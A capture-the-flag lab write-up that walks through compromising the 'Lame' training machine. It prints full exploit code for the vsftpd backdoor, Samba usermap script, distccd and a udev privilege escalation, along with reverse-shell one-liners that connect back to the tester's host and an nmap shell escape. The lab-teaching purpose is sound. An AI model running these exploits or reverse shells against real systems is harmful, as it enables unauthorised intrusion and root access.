This is the first writeup I’m doing in English, please, consider this is not my mother tongue, so take into account that errors could appear in this text, thanks!

Following the OSCP Practice post I’ve made recently (will be posted soon), this is the first writeup for the serie.

Ratings:

Port scan:

$ nmap -sC -sV -Pn -n -p - -oN nmap.all --min-rate 2000 -v 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.084s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.X
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)

Information Gathering

FTP version seems outdated, let’s see if there’s any exploit for that version.

We can use searchsploit to search for exploits in Exploit-DB like this:

$ searchsploit vsftpd 2.3.4
----------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                               |  Path
                                                                             | (/usr/share/exploitdb/)
----------------------------------------------------------------------------- ----------------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                       | exploits/unix/remote/17491.rb
----------------------------------------------------------------------------- ----------------------------------------

For further research of this exploit, we can mirror it to browse through its code.

$ searchsploit -m exploits/unix/remote/17491.rb

Exploit’s code:

##
# $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
			'Description'    => %q{
					This module exploits a malicious backdoor that was added to the	VSFTPD download
					archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between
					June 30th 2011 and July 1st 2011 according to the most recent information
					available. This backdoor was removed on July 3rd 2011.
			},
			'Author'         => [ 'hdm', 'mc' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13099 $',
			'References'     =>
				[
					[ 'URL', 'http://pastebin.com/AetT9sS5'],
					[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
				],
			'Privileged'     => true,
			'Platform'       => [ 'unix' ],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType'    => 'cmd_interact',
							'ConnectionType' => 'find'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => 'Jul 3 2011',
			'DefaultTarget' => 0))

		register_options([ Opt::RPORT(21) ], self.class)
	end

	def exploit

		nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
		if nsock
			print_status("The port used by the backdoor bind listener is already open")
			handle_backdoor(nsock)
			return
		end

		# Connect to the FTP service port first
		connect

		banner = sock.get_once(-1, 30).to_s
		print_status("Banner: #{banner.strip}")

		sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
		resp = sock.get_once(-1, 30).to_s
		print_status("USER: #{resp.strip}")

		if resp =~ /^530 /
			print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
			disconnect
			return
		end

		if resp !~ /^331 /
			print_error("This server did not respond as expected: #{resp.strip}")
			disconnect
			return
		end

		sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

		# Do not bother reading the response from password, just try the backdoor
		nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
		if nsock
			print_good("Backdoor service has been spawned, handling...")
			handle_backdoor(nsock)
			return
		end

		disconnect

	end

	def handle_backdoor(s)

		s.put("id\n")

		r = s.get_once(-1, 5).to_s
		if r !~ /uid=/
			print_error("The service on port 6200 does not appear to be a shell")
			disconnect(s)
			return
		end

		print_good("UID: #{r.strip}")

		s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
		handler(s)
	end

end

This exploit is a Metasploit module, so regarding OSCP’s MSF ‘ban’, we are not going to use it, but cool information can be extracted from there.

From this exploit, we can see that it triggers a backdoor at the moment that a user is logged in with a smiley face :) in the user input.

Let’s try manually.

First of all, we connect to he ftp server:

$ ftp 10.10.10.3

Then, before introducing the password (having put a user with a smiley face ‘:)’ ), we open a nc socket connection, to try to connect and execute commands after introducing the password, but no response is given.

$ nc 10.10.10.3 6200
id\n

<-- no response -->

Let’s move on to other service, samba seems juicy.

First way

Even though ssh is before samba on the port list, it rarely has an outdated version or misconfiguration that can be exploited, but can be useful if nothing has been successfully exploited and it’s the only way to continue. Tools like patator or hydra could help for bruteforcing credentials.

Nmap hasn’t worked on scanning samba’s config, but we haven’t tried discovery scripts yet.

$ nmap -sV -sC -p 445 --script discovery 10.10.10.3 -v
Nmap scan report for 10.10.10.3
Host is up (0.056s latency).

PORT    STATE SERVICE     VERSION
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
|_dns-brute: Can't guess domain of "10.10.10.3"; use dns-brute.domain script argument.
|_fcrdns: FAIL (No PTR record)
|_ipidseq: All zeros
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_msrpc-enum: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_path-mtu: PMTU == 1500
|_smb-enum-domains: ERROR: Script execution failed (use -d to debug)
|_smb-enum-groups: ERROR: Script execution failed (use -d to debug)
|_smb-enum-processes: ERROR: Script execution failed (use -d to debug)
|_smb-enum-sessions: ERROR: Script execution failed (use -d to debug)
|_smb-enum-shares: ERROR: Script execution failed (use -d to debug)
|_smb-mbenum: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-protocols: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb-server-stats: ERROR: Script execution failed (use -d to debug)
|_smb-system-info: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)
|_stuxnet-detect: ERROR: Script execution failed (use -d to debug)

Definitely, nmap can’t scan samba’s config, so a little guessing or research has to be done.

At least it tell us that it’s version is between 3.X and 4.X, it’s something.

If we search for exploits:

$ searchsploit samba 3
----------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                               |  Path
                                                                             | (/usr/share/exploitdb/)
----------------------------------------------------------------------------- ----------------------------------------
Microsoft Windows XP/2003 - Samba Share Resource Exhaustion (Denial of Servi | exploits/windows/dos/148.sh
Samba 1.9.19 - 'Password' Remote Buffer Overflow                             | exploits/linux/remote/20308.c
Samba 2.0.7 - SWAT Logfile Permissions                                       | exploits/linux/local/20341.sh
Samba 2.0.7 - SWAT Logging Failure                                           | exploits/unix/remote/20340.c
Samba 2.0.7 - SWAT Symlink (1)                                               | exploits/linux/local/20338.c
Samba 2.0.7 - SWAT Symlink (2)                                               | exploits/linux/local/20339.sh
Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit) (1)      | exploits/linux/remote/16321.rb
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalat | exploits/linux/local/23674.txt
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit)      | exploits/solaris_sparc/remote/16330.rb
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3)                   | exploits/unix/remote/22470.c
Samba 2.2.x - 'nttrans' Remote Overflow (Metasploit)                         | exploits/linux/remote/9936.rb
Samba 2.2.x - CIFS/9000 Server A.01.x Packet Assembling Buffer Overflow      | exploits/unix/remote/22356.c
Samba 3.0.10 (OSX) - 'lsa_io_trans_names' Heap Overflow (Metasploit)         | exploits/osx/remote/16875.rb
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                       | exploits/multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username map script' Command Execution (Metasp) | exploits/unix/remote/16320.rb
Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overflow (Metasploit)           | exploits/linux/remote/9950.rb
Samba 3.0.24 (Linux) - 'lsa_io_trans_names' Heap Overflow (Metasploit)       | exploits/linux/remote/16859.rb
Samba 3.0.24 (Solaris) - 'lsa_io_trans_names' Heap Overflow (Metasploit)     | exploits/solaris/remote/16329.rb
Samba 3.0.27a - 'send_mailslot()' Remote Buffer Overflow                     | exploits/linux/dos/4732.c
Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer Overflow (PoC)            | exploits/multiple/dos/5712.pl
Samba 3.0.4 - SWAT Authorisation Buffer Overflow                             | exploits/linux/remote/364.pl
Samba 3.3.12 (Linux x86) - 'chain_reply' Memory Corruption (Metasploit)      | exploits/linux_x86/remote/16860.rb
Samba 3.3.5 - Format String / Security Bypass                                | exploits/linux/remote/33053.txt
Samba 3.4.16/3.5.14/3.6.4 - SetInformationPolicy AuditEventsInfo Heap Overfl | exploits/linux/remote/21850.rb
Samba 3.4.5 - Symlink Directory Traversal                                    | exploits/linux/remote/33599.txt
Samba 3.4.5 - Symlink Directory Traversal (Metasploit)                       | exploits/linux/remote/33598.rb
Samba 3.4.7/3.5.1 - Denial of Service                                        | exploits/linux/dos/12588.txt
Samba 3.5.0 - Remote Code Execution                                          | exploits/linux/remote/42060.py
Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known_pipename()' Arbitrary Module L | exploits/linux/remote/42084.rb
Samba 3.5.11/3.6.3 - Remote Code Execution                                   | exploits/linux/remote/37834.py
Samba 3.5.22/3.6.17/4.0.8 - nttrans Reply Integer Overflow                   | exploits/linux/dos/27778.txt
Samba < 3.0.20 - Remote Heap Overflow                                        | exploits/linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                | exploits/linux_x86/dos/36741.py
Sambar FTP Server 6.4 - 'SIZE' Remote Denial of Service                      | exploits/windows/dos/2934.php
Sambar Server 4.3/4.4 Beta 3 - Search CGI                                    | exploits/windows/remote/20223.txt
Sambar Server 5.1 - Script Source Disclosure                                 | exploits/cgi/remote/21390.txt
Sambar Server 5.x - Information Disclosure                                   | exploits/windows/remote/22434.txt
Sambar Server 6.0 - 'results.stm' POST Buffer Overflow                       | exploits/windows/dos/23664.py
Sambar Server 6.1 Beta 2 - 'showini.asp' Arbitrary File Access               | exploits/windows/remote/24163.txt
----------------------------------------------------------------------------- ----------------------------------------

Too much exploits are shown, but we can sort them. Taking into account that the box is rated an easy level, the first exploit will allow us to execute commands at least. The first that allow us to do so and belongs to the third version of samba is this one.

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)

Mirroring it allow us to see its behaviour.

“This module exploits a command execution vulerability in Sambaversions 3.0.20 through 3.0.25rc3 when using the non-default “username map script” configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands.”
No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!

No authentication needed! More reasons for it to be our exploit ;)

Exploit code:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::SMB

	# For our customized version of session_setup_ntlmv1
	CONST = Rex::Proto::SMB::Constants
	CRYPT = Rex::Proto::SMB::Crypt

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba "username map script" Command Execution',
			'Description'    => %q{
					This module exploits a command execution vulerability in Samba
				versions 3.0.20 through 3.0.25rc3 when using the non-default
				"username map script" configuration option. By specifying a username
				containing shell meta characters, attackers can execute arbitrary
				commands.

				No authentication is needed to exploit this vulnerability since
				this option is used to map usernames prior to authentication!
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10040 $',
			'References'     =>
				[
					[ 'CVE', '2007-2447' ],
					[ 'OSVDB', '34700' ],
					[ 'BID', '23972' ],
					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
					[ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => true, # root or nobody user
			'Payload'        =>
				{
					'Space'    => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							# *_perl and *_ruby work if they are installed
							# mileage may vary from system to system..
						}
				},
			'Targets'        =>
				[
					[ "Automatic", { } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 14 2007'))

		register_options(
			[
				Opt::RPORT(139)
			], self.class)
	end


	def exploit

		connect

		# lol?
		username = "/=`nohup " + payload.encoded + "`"
		begin
			simple.client.negotiate(false)
			simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
		rescue ::Timeout::Error, XCEPT::LoginError
			# nothing, it either worked or it didn't ;)
		end

		handler
	end

end

Exploitation

This is the most important line of the code, the moment the exploit sets and sends the payload.

username = "/=`nohup " + payload.encoded + "`"

This way, a reverse shell created by Metasploit is sent, but we can’t do so, so we are doing it manually, or firstly we can see how this exploit works.

$ git clone https://github.com/amriunix/CVE-2007-2447
Exploit code:
import sys
from smb.SMBConnection import SMBConnection

def exploit(rhost, rport, lhost, lport):
        payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
        username = "/=`nohup " + payload + "`"
        conn = SMBConnection(username, "", "", "")
        try:
            conn.connect(rhost, int(rport), timeout=1)
        except:
            print '[+] Payload was sent - check netcat !'

if __name__ == '__main__':
    print('[*] CVE-2007-2447 - Samba usermap script')
    if len(sys.argv) != 5:
        print("[-] usage: python " + sys.argv[0] + " <RHOST> <RPORT> <LHOST> <LPORT>")
    else:
        print("[+] Connecting !")
        rhost = sys.argv[1]
        rport = sys.argv[2]
        lhost = sys.argv[3]
        lport = sys.argv[4]
        exploit(rhost, rport, lhost, lport)

It basically automatize the connection asking for your IP and PORT in which a nc connection (for example) has to be open.

Let’s try manually.

$ python
Python 2.7.17 (default, Oct 19 2019, 23:36:22) 
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from smb.SMBConnection import SMBConnection
>>> payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 9999 >/tmp/f'
>>> username = "/=`nohup " + payload + "`"
>>> connection = SMBConnection(username, "", "", "")
>>> connection.connect("10.10.10.3",445)

Before sending the last line (in which the connection is done and the payload sent by the username input), we should open a nc connection to receive the shell.

$ nc -lnvp 9999

When the last line is sent…

Connection received on 10.10.10.3 42213
sh: no job control in this shell
sh-3.2$ id
uid=0(root) gid=0(root)
sh-3.2$ 

Then, we might spawn a better shell by using python to spawn a full tty shell.

$ python -c 'import pty;pty.spawn("/bin/bash")'

Post-Exploitation

We are root! Even though we don’t know yet whether we are inside a docker or a jail, we can assume there’s no post-exploitation because of the level of the machine and its ratings.

We can now search for the flags.

root@lame:/$ find / -name "user.txt" 2> /dev/null
./home/makis/user.txt
root@lame:/$ find . -name "root.txt" 2> /dev/null
./root/root.txt

Why searhing for it instead of going through /home and searching between the users?

  • It is nice to practice find command and it can makes us faster grabbing flags or information.

Why redirecting it to /dev/null?

  • If we don’t do it, we will get tons of errors related to folders' permissions. (In this case, there’s no folder root can’t access)

Extra Research

Now that we are root we can research why this happens.

“The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote malicious users to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the “username map script” smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.” vulnmon
cat /etc/samba/smb.conf | grep map
username map script = /etc/samba/scripts/mapusers.sh

Second way

Exploitation

Taking into account that ssh is open too, another way must be possible.

Let’s explore distccd.

3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

After reading what it is (here, here), maybe searchsploit has something interesting for us.

$ searchsploit distcc
----------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                               |  Path
                                                                             | (/usr/share/exploitdb/)
----------------------------------------------------------------------------- ----------------------------------------
DistCC Daemon - Command Execution (Metasploit)                               | exploits/multiple/remote/9915.rb
----------------------------------------------------------------------------- ----------------------------------------

Mirroring it can help us understand its work flow.

searchsploit -m exploits/multiple/remote/9915.rb
Exploit code:
require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DistCC Daemon Command Execution',
			'Description'    => %q{
				This module uses a documented security weakness to execute
				arbitrary commands on any system running distccd.

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '2004-2687'],
					[ 'OSVDB', '13378' ],
					[ 'URL', 'http://distcc.samba.org/security.html'],

				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 01 2002'
			))

			register_options(
				[
					Opt::RPORT(3632)
				], self.class)
	end

	def exploit
		connect

		distcmd = dist_cmd("sh", "-c", payload.encoded);
		sock.put(distcmd)

		dtag = rand_text_alphanumeric(10)
		sock.put("DOTI0000000A#{dtag}\n")

		res = sock.get_once(24, 5)

		if !(res and res.length == 24)
			print_status("The remote distccd did not reply to our request")
			disconnect
			return
		end

		# Check STDERR
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return if not len
		if (len > 0)
			res = sock.get_once(len, 5)
			res.split("\n").each do |line|
				print_status("stderr: #{line}")
			end
		end

		# Check STDOUT
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return if not len
		if (len > 0)
			res = sock.get_once(len, 5)
			res.split("\n").each do |line|
				print_status("stdout: #{line}")
			end
		end

		handler
		disconnect
	end


	# Generate a distccd command
	def dist_cmd(*args)

		# Convince distccd that this is a compile
		args.concat(%w{# -c main.c -o main.o})

		# Set distcc 'magic fairy dust' and argument count
		res = "DIST00000001" + sprintf("ARGC%.8x", args.length)

		# Set the command arguments
		args.each do |arg|
			res << sprintf("ARGV%.8x%s", arg.length, arg)
		end

		return res
	end

end

Another Metasploit module! Before exploring it, lets see if a non-metasploit one is on the internet.

Seems there is a nmap script that can help us.

$ ls -la /usr/share/nmap/scripts/*distcc*
/usr/share/nmap/scripts/distcc-cve2004-2687.nse
nmap -p 3632 --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'" 10.10.10.3 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-26 11:55 CET
Nmap scan report for 10.10.10.3
Host is up (0.072s latency).

PORT     STATE SERVICE
3632/tcp open  distccd
| distcc-cve2004-2687: 
|   VULNERABLE:
|   distcc Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|       Allows executing of arbitrary commands on systems running distccd 3.1 and
|       earlier. The vulnerability is the consequence of weak service configuration.
|       
|     Disclosure date: 2002-02-01
|     Extra information:
|       
|     uid=1(daemon) gid=1(daemon) groups=1(daemon)
|   
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2004-2687
|       https://distcc.github.io/security.html
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687

It worked! Now we could just use nmap to get a reverse shell or a pseudoshell.

nmap -p 3632 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc -e /bin/sh 10.10.14.X 9999'" 10.10.10.3 -Pn
$ nc -lnvp 9999
Connection received on 10.10.10.3 33430
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Upgrading with python to a full tty shell allow us to start enumerating to escalate privileges.

Post-Exploitation

I like using this script for privilege escalation checks.

Sending the script from my local machine to the box.
(local)
$ python -m SimpleHTTPServer 80
(box)
$ wget http://10.10.14.X/lse.sh
(local)
10.10.10.3 - - [26/Dec/2019 12:08:56] "GET /lse.sh HTTP/1.0" 200 -
(box)
$ chmod +x lse.sh
$ ./lse.sh -l2

First way of privilege escalation

[*] fst010 Binaries with setuid bit........................................ yes!
---
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown

This output is quite interesting as Nmap can be executed with root privileges and it has an interactive option that can spawn a shell.

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
sh-3.2$ id
id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=1(daemon)
sh-3.2$ wc /root/root.txt -c
33 /root/root.txt

Second way of privilege escalation

$ uname -a
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

As the box is also running UDEV, this exploit seems interesting.

We can send it to the box like we did with lse.sh and run it.

Exploit code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
	int sock;
	char *mp, *err;
	char message[4096];
	struct stat st;
	struct msghdr msg;
	struct iovec iovector;
	struct sockaddr_nl address;

	if (argc < 2) {
		err = "Pass the udevd netlink PID as an argument";
		printf("[-] Error: %s\n", err);
		exit(1);
	}

	if ((stat("/etc/udev/rules.d/95-udev-late.rules", &st) == -1) &&
	    (stat("/lib/udev/rules.d/95-udev-late.rules", &st) == -1)) {
		err = "Required 95-udev-late.rules not found";
		printf("[-] Error: %s\n", err);
		exit(1);
	}

	if (stat("/tmp/run", &st) == -1) {
		err = "/tmp/run does not exist, please create it";
		printf("[-] Error: %s\n", err);
		exit(1);
	}
	system("chmod +x /tmp/run");

	memset(&address, 0, sizeof(address));
	address.nl_family = AF_NETLINK;
	address.nl_pid = atoi(argv[1]);
	address.nl_groups = 0;

	msg.msg_name = (void*)&address;
	msg.msg_namelen = sizeof(address);
	msg.msg_iov = &iovector;
	msg.msg_iovlen = 1;

	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
	bind(sock, (struct sockaddr *) &address, sizeof(address));

	mp = message;
	mp += sprintf(mp, "remove@/d") + 1;
	mp += sprintf(mp, "SUBSYSTEM=block") + 1;
	mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
	mp += sprintf(mp, "TIMEOUT=10") + 1;
	mp += sprintf(mp, "ACTION=remove") +1;
	mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

	iovector.iov_base = (void*)message;
	iovector.iov_len = (int)(mp-message);

	sendmsg(sock, &msg, 0);

	close(sock);

	return 0;
}
gcc -o exp 8572.c
echo '#!/bin/bash' > /tmp/run
echo 'nc -e /bin/bash 10.10.14.X 8888' >> /tmp/run 
cat /proc/net/netlink # To see UDEV PID 
# (box)
$ ./exp 2687

# (local)
Connection received on 10.10.10.3 53745
id
uid=0(root) gid=0(root)